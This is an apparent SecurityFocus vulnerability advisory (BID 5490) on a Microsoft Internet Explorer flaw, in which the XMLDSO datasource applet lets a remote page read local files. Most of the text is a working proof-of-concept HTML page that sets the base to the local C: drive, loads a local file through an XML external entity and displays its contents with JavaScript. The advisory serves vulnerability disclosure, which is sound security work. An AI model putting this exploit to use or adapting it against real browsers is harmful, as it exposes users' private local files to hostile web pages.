source: http://www.securityfocus.com/bid/5490/info

A problem in Microsoft Internet Explorer could lead to the disclosure of sensitive information.

Due to the design of the datasource applet, it may be possible for a user to view the contents of local files via a remote page. By building a custom-crafted page that specifies the code base as the local system, it would be possible to display the contents of known local files.

<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
<?xml version="1.0"?>
<!DOCTYPE file [
<!ELEMENT file (#PCDATA) >
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
]>
<file>
&contents;
</file>
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html>